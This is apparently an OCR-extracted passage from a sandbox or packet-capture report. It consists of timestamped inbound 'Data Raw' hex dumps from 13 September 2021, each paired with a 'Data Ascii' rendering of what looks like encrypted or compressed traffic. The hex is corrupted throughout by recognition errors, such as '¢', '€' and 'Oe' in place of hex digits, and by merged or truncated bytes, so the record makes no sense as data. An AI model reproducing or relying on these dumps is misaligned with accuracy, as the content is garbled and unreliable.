34 17 71 ad 67 23 df d7 b8 33 25 b5 33 f3 3a ae 1e 71 19 65 a7 56 6b b2 1d ab dc a4 c9 eb Oe 7b 99 7c 1f de al db d6 c9
7e df d8 90 25 8¢ 60 24 1c 49 44 3a b8 10 22 b8 aa 4d ec 02 91 b4 c2 d2 3e 91 09 a8 5a c5 85 Ob dd d4 08 27 e2 f9 54 23
24 8f f1 06 69 0a 58 1b 65 e9 04 88 Oa 2e 26 4f b9 86 43 67 95 79 2d d1 1e fc c8 le 13 94 97 38 11 02 69 39 b2 b8 8b d3
5d 2e 22 ab 59 2¢ f7 21 f6 72 fa 76 ¢3 67 46 9a e4 87 53 28 67 f9 8¢ 48 51 d7 1b 98 56 bb a7 84 2d 60 3c 90 21 a4 e3 c6
laeld7 436691 b4 9b b0 58a2dlel a7 64 11 2c 5d 17 e3 7c 76 f1 6a Oc ad 32 55 26 96 ff 70 f4 5d eb 67 92 5e 78 82
b6 1b 2f cf 53 a0 11 e5 76 a7 dc 8e 41 a0 a5 c0 65 49
Data Ascii: SIBVAO$L4qg#3%3:0eVk{|~% $ID:"M>Z'T#$iXe.&OCgy-8i9]."Y,!'vgFS(gHQV-'<!CfXd,]|vj2U&p]g"x/SvAel

2021-09-13 23:07:18 UTC 522 IN Data Raw: d8 27 12 00 7a 56 89 e4 93 20 78 ¢7 bd 15 14 b7 6c 95 ba 79 c2 5e 69 d9 1d 31 7e e4 0a 9b 31 97 68 30 dd b0
b6 89 60 d9 99 99 d8 82 3d 25 07 6d 47 cc 5b 26 43 83 8b 5d 95 30 e 9f 6 4b 18 81 89 9b 10 1f 15 37 91 ff 12 9f 8a 67
bc 45 d5 5f ac e8 25 95 90 4d 7 99 7b 21 31 b4 2f 5f 03 8¢ 3a 1d d1 b7 e5 98 87 2b b8 f1 32 1c d1 46 96 55 db 93 79 94
6¢ 1f b2 13 ac d8 c7 de 88 33 e9 2b 1a e5 3b 6d a3 3e 10 df c4 67 1b 69 11 fd ad 8b 09 4c 94 7f ec c4 4f 8¢ 6d 07 b6 8d
b9 65 7c cf 86 a2 64 85 83 0d ae 3f ad 94 61 43 93 46 c6 68 €8 86 1b 5d c4 05 10 Of 81 0d 32 89 71 27 34 18 40 a0 62 92
dd 27 Oe 39 3d a3 eb 72 7e 8c 18 93 bf c2 15 2e 88 d0 03 9a d3 e1 9d 09 b4 f9 bb 3e 09 cO aa 67 4d 9a 43 ca 18 6b 6b 17
bc e5 92 ca 1a 65 30 61 bf 97 25 6d 9f 49 3e 6f 26 6f c7
Data Ascii: '2V Xlyi1~1h0'=%mG[&CJOK7gE_%M{!1/_:+2FUyI3+;m>gil. Ome|d?aCFh]2q'4@b'9=r~.>gMCkke0a%mI>0&0

2021-09-13 23:07:18 UTC 523 IN Data Raw: Oa e0 Oa 2e 65 d5 ff 86 61 Ob 06 60 2e dc 8a ba 7c 45 5b 94 97 20 85 44 69 50 b2 b8 8b fO c9 68 22 ¢7 59 2¢
7 0f 62 34 fb 1b ¢3 67 b9 5c 8f 3e 3¢ db 21 f9 8¢ Oc c5 91 44 6a 10 bb a6 84 2d 60 5b 45 67 a4 c1 ¢3 89 f8 d4 32 66 91 44
e5 6¢ le a2 a0 el a7 64 4b b8 1b 17 92 7c 76 f1 Of 98 eb 32 1a 26 96 fe 70 f4 5d 14 d7 6d al el 18 fO 1b 2f b9 53 a0 a3
0f a4 el dc f8 41 a0 1f 21 b7 0f 74 eb 25 Oa 2b 89 d8 d1 59 7e db 9c e2 65 70 c0 99 1e 1b c2 ac c8 d8 eb 91 d6 c4 93 46
ba 1a 5a 2c ef 5 ed 22 17 7f 50 3d 18 80 d5 62 de 9d 75 5e 74 72 18 7d 2d 93 fa 27 de 64 37 73 17 20 a7 6b eb 3b Oe b4
30 fe 77 90 5¢ ea 4a 7c ec 6¢ 4e 02 ee 9f bd 41 61 f4 06 2¢ 04 00 1a 11 88 e0 ec 8d 1e 60 cb 9c 78 6b 18 11 9a 05 0d 92
85 0d e0 b1 fO 4c 3b 69 f9 18 2e be bc f8 b2 ¢8 0d 1e
Data Ascii: .ea’.|E[ DiPh"Y,b4g\><!Dj-' [Eg2fDIdK|v2&p]m/SAlt%+Y~epFZ,"P=bu’tr}-'d7s k;0w\J|INAa, XKL;i.

2021-09-13 23:07:18 UTC 525 IN Data Raw: f3 11 36 8¢ 6d e3 3e 10 21 3b 98 e4 5e e4 be ad c1 bb 2a d7 7f ce c1 dc 6b 90 8 49 8d 91 48 34 03 79 5d 9b
8583 0d ae c1 52 6b 9e 5f 6b 05 c6 58 10 c5 1b 1d c5 05 10 Of 7e f2 cd 76 46 b1 72 1f be e3 62 6d 1d 4e b7 39 1f a6 78
94 89 73 e7 93 df ef 5d 2e 88 d0 03 9a d3 el 9d 08 b4 f9 bb 3f 09 c0 aa b3 7b d2 43 e8 1c f8 72 15 bc e5 92 2e d3 d2 cf 9f
e7 01 6399 a9 01 3e 6f 45 f9 81 ¢7 80 5d f2 9f 55 fb 4d 74 02 f6 32 bc b0 5¢ 24 8a fb 54 45 f2 ec 64 2a 99 15 fa e9 79 47
a6 bd f4 58 23 bd 5f c1 ed f2 f3 53 31 e6 e5 09 da 06 36 d8 92 5a Oe a2 48 1b 4c 7b 63 30 7b 10 ec al c2 8c 3a b0 26 cf
1c5b 71 adcl4e 41 a6 33 c3 a0 78 ¢4 0d cc 63 f1 56 00 cd 42 60 e0 97 06 ea 22 ac f3 14 ff 04 01 c5 88 ef 4¢c 7c 70 be
66 f7 8f c4 18 1d 89 07 8d f2 16 b9 54 82 f1 f4 b5
Data Ascii: 6m>!;"*kIH4y]RKk_kX~vFrbmN9xs].?{Cr.c>0E]UMt2\$STEd*yGX# S16ZHL{cO{:&[qNA3xcVB "L|pfT
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 526 IN Data Raw: d7 a9 11 49 13 2a 89 d8 2f 8a b3 6¢ 9c e2 65 70 a8 a6 5b 1b c2 ac c8 d8 15 6e 29 3b 93 46 ba 1a 82 d2 10 la
ed dd e8 80 51 11 7d 39 d5 40 db Oe 74 63 31 72 18 25 1f db 04 d8 21 9b 37 73 17 20 73 94 14 c4 Oe b4 30 fe 89 6f a3 15
4a7d ec 6¢ 64 a3 54 60 42 ad fb b2 f8 d3 fb ff 1a 19 13 a6 34 50 e4 Oc d2 99 78 6b €6 62 57 b2 0d 90 85 0d 93 5a 87 04
3b 69 f9 18 d0 41 43 07 b2 c8 0d 1e 44 5b 4a e5 87 64 76 13 d6 f4 2c b3 a0 9a 35 41 Oe 2a 10 d2 7a bd 00 23 6a 1d e0 2c
d8 96 c3 ab 43 3f 91 ef 7b 98 08 6f f2 8f ea f6 3d 1f 2c 67 2a dd a5 71 68 Oa 2e 89 91 e0 54 6b f0 4c f4 f2 b8 57 10 99 35
3e 9e 5d 3a e7 2f c5f9 8b 7a 31 6d 33 01 9a 03 bl eb 39 a9 c1 ee 61 b2 77 de d8 f3 ed ff 84 56 89 e4 6¢ 21 78 c7 42 15
14 b7 93 c0 20 c3 c2 5e 69 d9 1d cf 81 1b f5 9b 31 97
Data Ascii: I*/lep[n);FQ}9@tc1r%!7s s00J}ldT B4PxkbWZ;iACD[Jdv,5A*z#j,C?{o=,g*gh.TKLW5>]:/zIm39awV/I!xB "1

2021-09-13 23:07:18 UTC 527 IN Data Raw: 81 c7 80 5d ee 9f 55 fb ee 44 40 f6 32 bc b0 5¢ 9 ¢9 45 ab ba f2 ec 64 6e 00 a2 05 16 79 47 a6 25 96 ef dc 42
95 df a9 0d d4 b2 8a e6 e5 09 da 1a c8 27 6d 2d 3b e0 48 1b 9c 84 9c 3b e7 58 ec al 3c 73 c¢5 b0 d9 30 e3 5b 1b 9e 85 52
41 a6 33 ae b4 09 80 Oe e7 50 b5 c6 bf 7a bd eb al df 06 fa c6 1b Oc e8 ff 04 01 29 36 58 b3 7 31 f6 66 €7 b3 bd 5c 1e 89
07 8d fa 91 c1 10 6 60 8¢ f1 03 64 8c 4¢c 57 a7 51 71 2b da 62 df 7d 2b 75 25 8f 72 bb 3a 18 8d 37 19 e6 €6 1e 6b 06 cf
a5 dc ef 89 a3 Oe b0 Oa 3a 1f f4 3d 93 d6 c9 7e df d8 20 da 73 9f f2 8f Of 44 69 b8 10 22 6d Oc 49 ec 66 91 b4 c2 7a 31 9f
09 e7 5a c5 85 18 b1 6d f7 41 e2 f9 54 ¢8 b7 c9 f1 df 5¢c 48 58 19 f1 af 04 3d b7 6f 26 4f b9 86 43 3a d4 31 2d dc 8a ba c8
a9 ae d5 97 20 85 44 69 74 f3 f0 8b 3 c9 68
Data Ascii: JUD@2\EdnyG%B'm-;H;X<s0[RA3Pz)6X1f\"dLWQq+b}+u%r:7k:=~ sDi"mIfz1ZmAT\HX=0&OC:1- Dith

2021-09-13 23:07:18 UTC 528 IN Data Raw: f4 cf ac b5 e0 d4 6¢ 76 13 28 Ob d3 e8 ee 92 35 f9 cd 42 55 58 34 b5 00 23 94 e2 1f a3 88 9e ¢3 23 cb c8 6e 6¢
2b 90 08 6f Oc 70 15 3 76 17 2c 89 bf 8a €0 59 24 02 2e b1 23 17 ab 8e bc 44 f4 be 2c a0 ef 60 79 36 9e 5d c4 18 d0 1e
b6 83 7a 31 5e 53 44 54 53 b9 eb 85 07 36 11 3e e2 7f de d6 76 1a 00 9f 06 81 e4 5a 8e 8f 38 47 45 1c b7 d7 3b 4d 86 e6
0f 61 d9 1d 31 7e e4 a0 d4 39 97 ff 7f d5 b0 bb d9 68 d9 bf fa 98 82 a5 6a 0f 6d bf 83 53 26 43 83 8b 5d €9 46 a2 9f 54 1f
8398 17 ca 18 1f 6d 4a d1 ff af ce 82 67 86 38 95 5f 4a b9 2d 95 68 1c ff 99 6b 73 39 b4 44 Oe Ob 8c c5 e2 2e 48 93 d7 8f
2b 27 41 ¢5 e3 9d 09 9e 55 db 93 79 94 b8 51 ba 13 a5 97 cf de 71 7d el 2b 0a 87 7b 6d e3 3e 10 df 7c 67 58 1b 74 9c d9
ee 0a 00 a5 la ad b5 b3 e7 16 53 c4 ec ff 3b 55
Data Ascii: Iv(5BUX4#nl+opv,Y$.#D, y6]z1"SDTS6>VZ8GE;Mal~9hjmS&C]FTmJIg8_J-hks9D.H+'AUyQq}+{m>|gXtS;U

2021-09-13 23:07:18 UTC 530 IN Data Raw: b6 7f 4b a6 2d 3b ea 34 1c 99 15 5a 8c 09 4a 01 50 98 76 8b 3a 1b 73 32 4e 53 ¢3 33 28 1a ef 9f 88 90 84 9e
62 c4 63 78 66 f0 c4 db 36 c9 3d ad bd be 51 €9 30 80 e0 6¢ 21 06 cb 51 22 59 e5 Oa ab 03 e5 f7 ad 53 dd a2 7d 82 28 8b
e4 8a 2b d3 08 41 52 fc 01 ba da a8 81 37 00 6f 2f 56 97 e9 6d 8c 6f 2e 61 4d fe e3 37 48 fc 15 48 95 e4 dc a7 06 7e 5 e3
49 ea 2a 2b 29 fa d9 e5 94 a5 0d 22 c¢7 33 2d b1 66 Oe 51 ae 72 ae 02 12 cc 23 b8 20 35 02 94 d8 65 a8 f4 1b fO 34 b9 e0
el 59 2¢ 53 bc 40 c8 b7 af 77 84
Data Ascii: K-;4ZJPv:s2NS3(bcxf6=Q0I!Q"Y S}(+AR70/Vmo.aM7HH~I*+)"3-fQr# 5e4Y,S@w

2021-09-13 23:07:18 UTC 530 IN Data Raw: d7 32 a2 91 f7 a6 41 7f d6 c5 a7 ce 08 2e f5 7a 67 €2 15 18 96 4e 98 eb ec 19 6b {7 8f 26 9d 38 9c 67 f4 18 11
ee d3 1b 28 ba 14 ¢5 65 c1 8b 82 b7 bb 2e d5 cb cf f1 0f 1d ab e4 5d 6f c5 eb e3 5b 28 ff f0 e2 65 ac c3 ee 6d 6b b0 c5 a6
ac 8d d0 d6 19 90 31 c9 6a 28 44 81 91 8b 8a €8 c3 ae a9 e7 b2 91 25 a8 65 18 33 04 25 71 4b 7b b4 8d 27 de b9 36 34
72 54 f0 02 85 5f 61 c3 74 bd 77 7b 5d ad 2f 09 bb 05 20 99 7e 17 10 c8 98 c6 06 €8 05 47 7f 6d 40 df 9f db 7e 9e 9f fc Oc
19 71 fe db 4d 0d 6¢ 85 48 8e 70 af 40 52 1a 89 74 4f c¢7 f8 9d c4 al 6e 7b ef e5 b5 4f d4 21 24 20 1a 25 b7 20 cc 9a 35
3e 82 0e 30 be 1f c9 65 6¢ f6 88 7a b0 ac 96 c3 8f 98 92 Ob 63 Of f7 7a 0a 48 33 15 75 3c 5b 49 0b 91 6 85 35 2b Oa 2e ff
6d 58 ce e0 b4 29 82 9b 03 cd ac 07 45 4d 9e 6¢
Data Ascii: 2A.zgNk&8g(e.]o[(emk1j(D%e3%qK{'64rT_atw{]/ ~Gm@~qMIHp@RtOn{O!$ % 5>0elzczH3u<[I5+.mX)EMI

2021-09-13 23:07:18 UTC 531 IN Data Raw: 57 57 d2 Oc 1b 35 e3 76 fd ba 8c 29 2e 88 e3 03 cd ba 8f d5 7d c0 89 e8 5b 67 a4 f8 02 3c ef 26 b9 6d 6b 6b
10 bc b2 fb a4 ad ee bb ee a4 6d Oc 1e fa 01 5f 01 21 95 e4 ¢7 80 6b f2 ¢8 3¢ 95 05 05 76 86 61 d9 c4 13 54 00 6d c4 d4
f2 ec 42 2a 16 83 6b 5e 0d 33 d6 f2 7a c2 b2 10 fO ae dc 97 58 39 75 e6 c8 09 8d 6f a6 6f 19 d1 7e f0 2d 7a f8 cO fd bb 1a
10 c9 al 6b 1a ab 07 52 bb 6¢ 14 6b fb eb 4e 71 a6 64 aa ef 03 f4 79 97 02 dO 35 9b 5b cb fa b2 f2 75 9a e9 3d 7f 8e ff 04
56 8¢ 38 58 e7 d7 20 90 02 9b 9f f5 ac 1c ce 63 e4 82 83 e8 66 7 68 a9 90 74 41 90 23 11 ce 3d 14 f6 78 22 98 19 42 05
62 8e 47 ba 57 7a ea 52 5c 54 c4 39 0f 17 fc 9e 8f 96 b3 8e Oe b0 e7 3a 58 e0 c8 ab 90 bb 1b ba d8 df bd 8c 27 96 e6 7f
00 1c cb 60 4d 2a 5¢c 42 81 07 f6 d1 c2 3e e0 d7 4e
Data Ascii: WW5v).}[g<&mkkm_!k<vaTmB*k"3zX9u00~-zkRIkNgdy5[u=V8X cfhtA#=x"BbGWzR\T9:X"M*\B>N

2021-09-13 23:07:18 UTC 532 IN Data Raw: 04 90 2b e8 0d 18 98 21 21 99 64 Oc 27 5 9a dc 62 40 61 45 62 4e 13 a6 3e ad 5¢c 96 a6 ca Oc Of 50 fc c6 29
61585 0d ae 07 85 61 4f 2 90 74 4b ea c5 88 d7 ¢8 79 1c db c1 c1 57 e8 00 03 7f 4d 4d ba 20 c5 d4 54 2c e6 1d 55 d2
6b bb 57 51 fd 96 7a 90 b7 f8 b0 c4 {7 a5 39 10 ad 99 4f 0a 78 33 7a 64 50 7e 42 03 b8 eb 8e 14 29 Oa f9 88 28 7a df d7 9f
21 99 93 Oe cc a3 0f 5b 5b ¢9 5d 88 1a 97 5f 8d cd 13 5d 3b 00 2d €0 66 f4 93 39 c8 3f 57 2 ¢7 04 b6 e 4e 7e 65 39 23 ef
82 09 ad f4 38 bd f 15 f0 f6 1e 06 €9 ac 2d 06 b5 78 72 2e e4 0a 67 30 dO Oc 44 9e df d9 fa Of b5 60 f8 ff €6 18 25 07 4c
45 8b 3e 52 07 e2 ff 38 8d 7b d8 f2 b5 3a dc 98 8b 97 13 58 a0 6f 8d 96 7e fa cc 08 2e 04 fc 2b fb e8 25 Oe 90 Oe 98 4 Ob
40 43 d1 7d 2b 71 e5 ab 85 79 48 €5 29 84 67
Data Ascii: +!!d'b@aEbN>\P)aaO/tkyWMM T,UkWQz90x3zdP~B)(z![[]_];-f9?WN~e9#8-xr.g0D %L E>R8{:X0~.+%@C}
+ayH)g

2021-09-13 23:07:18 UTC 534 IN Data Raw: 5b 1b 9e 85 4e 41 a6 33 c3 81 4b 80 0d e7 50 b5 56 fe 32 bd 9f e 97 06 ea 86 53 Oc eb ff 04 01 ¢5 76 10 b3
83 70 be 66 f7 13 f5 5¢ 1d 89 07 8d 2 d0 89 10 82 21 ¢4 f1 13 24 ¢4 4c 57 a7 51 71 16 67 23 df 7d 2b 75 25 eb 33 f3 3a 1b
8d 37 19 3a a7 56 6b 72 8e ed dc ff c9 eb Oe b0 Oa 3a 1f 84 al db d6 c9 7e df d8 df 25 8c 60 2 8f Of 44 75 b8 10 22 59 39
0b ec 66 91 b4 c2 3e ad d7 09 e7 5a c5 85 7 4e 92 08 41 e2 f9 54 d4 b7 9 f1 61 69 0a 58 19 f1 af 04 e0 Oa 2e 26 4f b9
86 43 Oe 95 79 2d dc 8a ba c8 75 12 95 96 21 84 45 68 51 b3 b9 8a f1 c8 69 23 ¢6 58 2d 16 Oe 63 35 fb 1a c2 66 47 a2 71
0 52 43 65 fb 8e Oe c7 93 19 f2 54 b9 a5 86 2f 62 3e dc 22 a7 €0 ¢5 19 e2 d4 32 66 91 b4 d4 24 1e a2 al el a7 64 b5 47
e4 e8 c2 2f 22 f1 0f 98 eb 32 1a 26 96 ff 70 4 5d
Data Ascii: [NA3KPV2SvpfISLWQqg#+u%3:7:Vkr:~% Du'"Y 9f>ZNATaiX.&OCy-ulEhQi#X-c5fGqRCe T/b>"2{$dG/"2&p]

2021-09-13 23:07:18 UTC 535 IN Data Raw: 5d 85 5a 93 7e be cd 3d 79 17 19 Of d6 4e ff a4 69 06 6¢ 42 ca e7 21 89 80 7e 48 00 7b 56 89 e4 6¢ df 87 38
bd 15 14 b7 93 6a 45 86 c2 5e 69 d9 1d 31 7e e4 0a 9b 31 97 69 30 dd b0 b7 89 60 d9 05 b5 90 82 7d 25 07 6d 47 cc 5b
26 43 83 8b 5d cb 14 aa 9f d4 4e 8b 98 8b 9b 10 1f ¢5 1b d9 ff 13 9f 8a 67 5¢ 69 9d 5f ac 8 25 95 90 4d 7 99 7b 21 31
b4 2e 5f 03 8c ¢5 2 2e 48 €5 98 87 2b 47 Oe cd e3 d1 46 96 55 db 93 79 94 6¢ 1f b2 13 ad d8 c7 de 89 33 €9 2b ee c9 73
6d e3 3e 10 df ¢5 65 1 61 11 fd ad 8b ea 6a d7 7f ae 43 a5 17 4e 07 b6 8d 91 48 34 cf 20 7d 64 85 83 0d ae 3f Oc 31 61
43 93 46 ¢6 68 69 19 fb al c5 05 10 Of 3e 8¢ 4d 8a 46 bl 72 18 €8 a3 62 92 23 12 92 9a 3f a6 78 6b 76 8¢ 18 93 df ef 5d
2e 88 d0 03 9a d3 el 9d 09 b4 f9 bb 3e 88 3e aa 67 4d 9a 43
Data Ascii: [Z~=yNilBI~H{VI8JEAi1~1i0"}%mG[&CINg\i_%M{!1._.H+GFUyl3+sm>eajCNH4 Jd?1aCFhi>MFrb#2xkv].>>gMC

2021-09-13 23:07:18 UTC 536 IN Data Raw: 09 e7 5a c5 85 e7 4e 92 08 41 e2 f9 5b d4 b7 c9 f1 61 69 Oa 58 19 f1 af 04 e0 Oa 2e 26 4f b9 86 43 Oe 95 79 22
dc 8a bac8 74 13 94 97 20 85 44 69 50 b2 b8 8b f0 c9 68 22 c7 59 2c f8 0f 62 34 fa 1b ¢3 67 46 a3 70 c1 53 41 67 f9 8c
Oc c5 91 1b f0 56 bb a8 84 2d 60 3c df 21 a4 e3 c6 la el d7 32 66 91 b4 d4 24 1e a2 a0 el a7 6b 4b b8 1b 17 92 7¢ 76 f1
0f 98 eb 32 1a 26 96 ff 70 f4 5d eb 28 92 5e 77 82 b6 1b 2f b9 53 a0 11 95 e2 el dc 8 41 a0 a5 bb f1 0f 56 ee b6 13 25 89
d8 d1 75 4c 93 9¢c e2 65 70 c0 99 1e 1b c2 ac c8 d8 eb 91 d6 c4 93 49 ba 1a 5a 2d ef e5 ed dd e8 80 af ee 82 c6 d5 40 db
Oe 6¢ 5¢ 74 72 18 2a 1f db fa 27 de 64 37 73 17 20 a7 6b eb 3b Oe b4 30 fe 77 90 5¢c ea 4a 72 ec 6¢ 4e fd 11 60 42 ad fb
b2 06 2c 04 00 1a 19 13 a6 ec af 1b f3 d2 96 78 6b
Data Ascii: ZNA[aiX.&OCy"t DiPh"Y,b4gFpSAgV-'<!2f$kK|v2&p](*w/SAV%uLeplZ-@N\tr*'d7s k;0w\JrIN"B,xk
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 537 IN Data Raw: 2b 47 Oe cd ec d1 46 96 55 db 93 79 94 6¢ 1f b2 13 ad d8 c7 de 89 33 €9 2b ee c9 73 62 e3 3e 10 df c4 67 1b
69 11 fd ad 8b 4e 69 d7 7f ce c1 dc 95 6f 07 b6 82 91 48 34 cf 86 a2 64 85 83 0d ae 3f ad 94 61 43 93 46 c6 68 €8 86 1b
52 ¢5 05 10 0f 7e f2 cd 76 46 b1 72 18 40 a0 62 92 e2 b1 48 39 1f a6 78 64 76 8c 18 93 df ef 5d 2e 88 d0 03 9a d3 el 9d
09 b4 9 bb 3e 09 cO aa 68 4d 9a 43 ca 19 6b 6b 17 bc e5 92 ca e5 9a cf 9e e7 01 63 6d 9f 49 3e 60 45 f9 81 c¢7 80 5d f2 9f
55 fb 4d 71 02 f6 32 bc b0 5¢ 24 74 04 ab ba fd ec 64 2a 41 ea 05 16 79 47 a6 bd Oa a7 dc 42 95 df a9 f2 2b 4d 75 e6 ea
09 da 06 c8 27 6d a5 Oe a2 48 1b 9c 84 9c cf 7b 10 ec al 3c 73 c5 4f 29 cf 1c 5b 1b 9e 85 4e 41 a6 33 c3 81 4b 80 0d e7
50 b5 56 fe 32 bd 9f ef 97 06 ea 86 53 Oc eb ff 04 01
Data Ascii: +GFUyI3+sb>giNioH4d?aCFhR~vFr@bH9xdv].>hMCkkcmI>"E]JUMg2\$td*AyGB+Mu'mH{<sO)[NA3KPV2S

2021-09-13 23:07:18 UTC 539 IN Data Raw: 5d eb 28 92 5e 78 82 b6 1b 2f b9 53 a0 11 95 e2 el dc f8 41 af a5 bb f1 0f 56 ee b6 13 2a 89 d8 d1 75 4c 93 9c
€2 65 70c099 1e 1b cd ac c8 d8 eb 91 d6 c4 93 46 ba 1a 5a 2d ef e5 ed dd e8 80 af ee 82 c6 da 40 db Oe 6¢ 5¢c 74 72 18
25 1f db fa 27 de 64 37 73 17 20 a7 6b eb 3b 01 b4 30 fe 77 90 5c ea 4a 7d ec 6¢ 4e fd 11 60 42 ad fb b2 06 2c 04 00 15
19 13 a6 ec af 1b f3 d2 99 78 6b 18 9d a8 4d 0d 90 85 0d €0 05 c2 04 34 69 f9 18 2e be bc f8 b2 ¢8 0d 1e 9c a4 b5 la 87
64 76 13 28 0b d3 4c af 9a 35 41 83 4a 55 d2 7a bd 00 23 94 e2 1f d3 d8 96 c3 ab 9b c0 6e 10 74 98 08 6f Oc 70 15 09 3d
1f 2c 67 f4 82 €0 71 68 Oa 2e 89 6f 1f ab 94 ff 4c f4 f2 60 a8 ef 66 35 3e 9e 5d c4 18 d0 3a f9 8b 7a 31 5e 53 44 9a Oc bl
eb 39 57 3e 11 9e b2 77 de d8 27 12 00 7b 56 89 e4
Data Ascii: J("x/SAV*uLepFZ-@I\Mr%'d7s k;0w\J}IN"B,xkM4i.dv(L5AJUz#ntop=,ggh.oL f5>]:z1"SDOW>w'{V

2021-09-13 23:07:18 UTC 540 IN Data Raw: 43 ca 19 6b 6b 17 bc e5 92 ca e5 9a c0 9e e7 01 63 6d 9f 49 3e 6f 45 f9 81 c¢7 80 5d f2 9f 55 fb 4d 71 02 6 3d
bc b0 5¢ 24 74 04 ab ba f2 ec 64 2a 41 ea 05 16 79 47 a6 bd Oa a7 dc 4d 95 df a9 f2 2b 4d 75 e6 e5 09 da 06 c8 27 6d a5
Oe a2 48 1b 9c 84 9c c0 7b 10 ec al 3c 73 c5 4f 26 cf 1c 5b 1b 9e 85 4e 41 a6 33 ¢3 81 4b 80 02 e7 50 b5 56 fe 32 bd 9f
€0 97 06 ea 86 53 Oc eb ff 04 01 c5 76 10 b3 8c 70 be 66 {7 f3 f5 5¢ 1d 89 07 8d f2 d0 89 10 82 21 c4 f1 13 24 c4 4c 58 a7
51 71 f6 67 23 df 7d 2b 75 25 eb 33 f3 3a 1b 8d 37 19 3a a7 56 6b 7d 8e ed dc ff c9 eb Oe b0 Oa 3a 1f 84 al db d6 c9 7e
df d8 df 25 8¢ 60 fd 8f Of 44 75 b8 10 22 59 39 Ob ec 66 91 b4 c2 3e ad d7 09 e7 5a c5 85 €8 4e 92 08 41 e2 f9 54 d4 b7 c9
f1 61 69 0a 58 19 f1 af 04 e0 Oa 2e 26 40 b9 86
Data Ascii: CkkcmI>0E]UMg=\$td*AyGM+Mu'mH{<sO&[NA3KPV2SvpfI$LXQqg#}+u%3:7:Vk}:~% Du"Y9f>ZNATaiX.&@

2021-09-13 23:07:18 UTC 541 IN Data Raw: 6b 18 9d a8 42 0d 90 85 0d e0 05 c2 04 3b 69 f9 18 2e be bc f8 b2 c8 0d 1e 9c a4 b5 15 87 64 76 13 28 Ob d3
4c a0 9a 35 41 83 4a 55 d2 7a bd 00 23 94 e2 1f dc d8 96 c3 ab 9b c0 6e 10 7b 98 08 6f Oc 70 15 09 3d 1f 2¢c 67 f4 82 e0
7e 68 0a 2e 89 6f 1f ab 94 f0 4c f4 f2 60 a8 ef 66 35 3e 9e 5d c4 18 d0 35 f9 8b 7a 31 5e 53 44 9a 03 bl eb 39 57 3e 11 9e
b2 77 de d8 27 12 00 74 56 89 e4 6¢ df 87 38 bd 15 14 b7 93 6a 45 86 c2 5e 69 d9 1d 31 7e e4 05 9b 31 97 69 30 dd b0
b7 89 60 d9 05 b5 90 82 7d 25 07 6d 47 cc 5b 26 4c 83 8b 5d cb 14 aa 9f d4 4e 8b 98 8b 9b 10 1f c5 1b d9 ff 13 9f 8a 67
53 69 9d 5f ac e8 25 95 90 4d f7 99 7b 21 31 b4 2e 5f 03 8c c5 e2 2e 48 ea 98 87 2b 47 Oe cd e3 d1 46 96 55 db 93 79 94
6¢ 1f b2 13 ad d8 c7 de 86 33 €9 2b ee c9 73 6d e3 3e 10
Data Ascii: kB;i.dv(L5AJUz#n{op=,g~h.oL f5>]521"SDOW>W'tVI8jE"i1~1i0"}%mG[&L]NgSi_%M{!1._.H+GFUyl3+sm>

2021-09-13 23:07:18 UTC 543 IN Data Raw: 01 ¢5 76 10 b3 83 70 be 66 7 f3 f5 5¢c 1d 89 07 8d f2 d0 89 10 82 21 c4 f1 13 24 c4 4c 57 a7 51 71 f6 67 23 dO
7d 2b 75 25 eb 33 f3 3a 1b 8d 37 19 3a a7 56 6b 72 8e ed dc ff c9 eb 01 b0 Oa 3a 1f 84 al db d6 c9 7e df d8 df 25 8c 60 f2
8f 0f 44 75 b8 10 2d 59 39 Ob ec 66 91 b4 c2 3e ad d7 09 e7 5a c5 85 e7 4e 92 08 41 e2 f9 5b d4 b7 c9 f1 61 69 Oa 58 19
1 af 04 e0 Oa 2e 26 4f b9 86 43 Oe 95 79 22 dc 8a ba c8 74 13 94 97 20 85 44 69 50 b2 b8 8b f0 c9 68 22 c7 59 2c f8 Of
62 34 fa 1b ¢3 67 46 a3 70 c1 53 41 67 f9 8c Oc ¢5 91 1b f0 56 bb a8 84 2d 60 3c df 21 a4 e3 c6 la el d7 32 66 91 b4 d4
24 1e a2 a0 el a7 6b 4b b8 1b 17 92 7c 76 f1 0f 98 eb 32 1a 26 96 ff 70 f4 5d eb 28 92 5e 77 82 b6 1b 2f b9 53 a0 11 95
e2 el dc f8 41 a0 a5 bb f1 0f 56 ee b6 13 25 89 d8
Data Ascii: vpi\l$LWQqg#}+u%3:7:Vkr:~% Du-Y9f>ZNA[aiX.&OCy"t DiPh"Y,b4gFpSAgV- <!2f$kK|v2&p]("W/SAV%

2021-09-13 23:07:18 UTC 544 IN Data Raw: e4 6c¢ df 87 37 bd 15 14 b7 93 6a 45 86 c2 5e 69 d9 1d 31 7e e4 Oa 9b 31 97 69 30 dd bf b7 89 60 d9 05 b5 90
82 7d 25 07 6d 47 cc 5b 26 43 83 8b 5d cb 14 aa 90 d4 4e 8b 98 8b 9b 10 1f c5 1b d9 ff 13 9f 8a 67 5¢ 69 9d 5f ac e8 25
9a 90 4d f7 99 7b 21 31 b4 2e 5f 03 8¢ c5 e2 2e 48 e5 98 87 2b 47 Oe cd ec d1 46 96 55 db 93 79 94 6¢ 1f b2 13 ad d8 c7
de 8933 e9 2beec9 7362 e33e 10 df c4 67 1b 69 11 fd ad 8b 4e 69 d7 7f ce c1 dc 95 6f 07 b6 82 91 48 34 cf 86 a2 64
8583 0d ae 3f ad 94 61 43 93 46 c6 68 €8 86 1b 52 c5 05 10 Of 7e f2 cd 76 46 b1l 72 18 40 a0 62 92 e2 b1 48 39 1f a6 78
64 76 8c 18 93 df ef 5d 2e 88 d0 03 9a d3 el 9d 09 b4 f9 bb 3e 09 c0 aa 68 4d 9a 43 ca 19 6b 6b 17 bc e5 92 ca e5 9a cf
9e e7 01 63 6d 9f 49 3e 60 45 f9 81 c7 80 5d f2 9f 55 fb
Data Ascii: I7jJENi1~1i0"}%mG[&C]Ng\i_%M{!1._.H+GFUyI3+sb>giNioH4d?aCFhR~VFr@bH9xdv].>hMCkkemI>"E]U

2021-09-13 23:07:18 UTC 545 IN Data Raw: 86 43 Oe 95 79 2d dc 8a ba c8 74 13 94 97 20 85 44 69 50 b2 b7 8b f0 c9 68 22 c¢7 59 2c f7 0f 62 34 fa 1b c3 67
46 a3 70 c1 53 41 67 f6 8¢ Oc c5 91 1b f0 56 bb a7 84 2d 60 3c df 21 a4 e3 c6 1a el d7 32 66 9e b4 d4 24 1le a2 a0 el a7
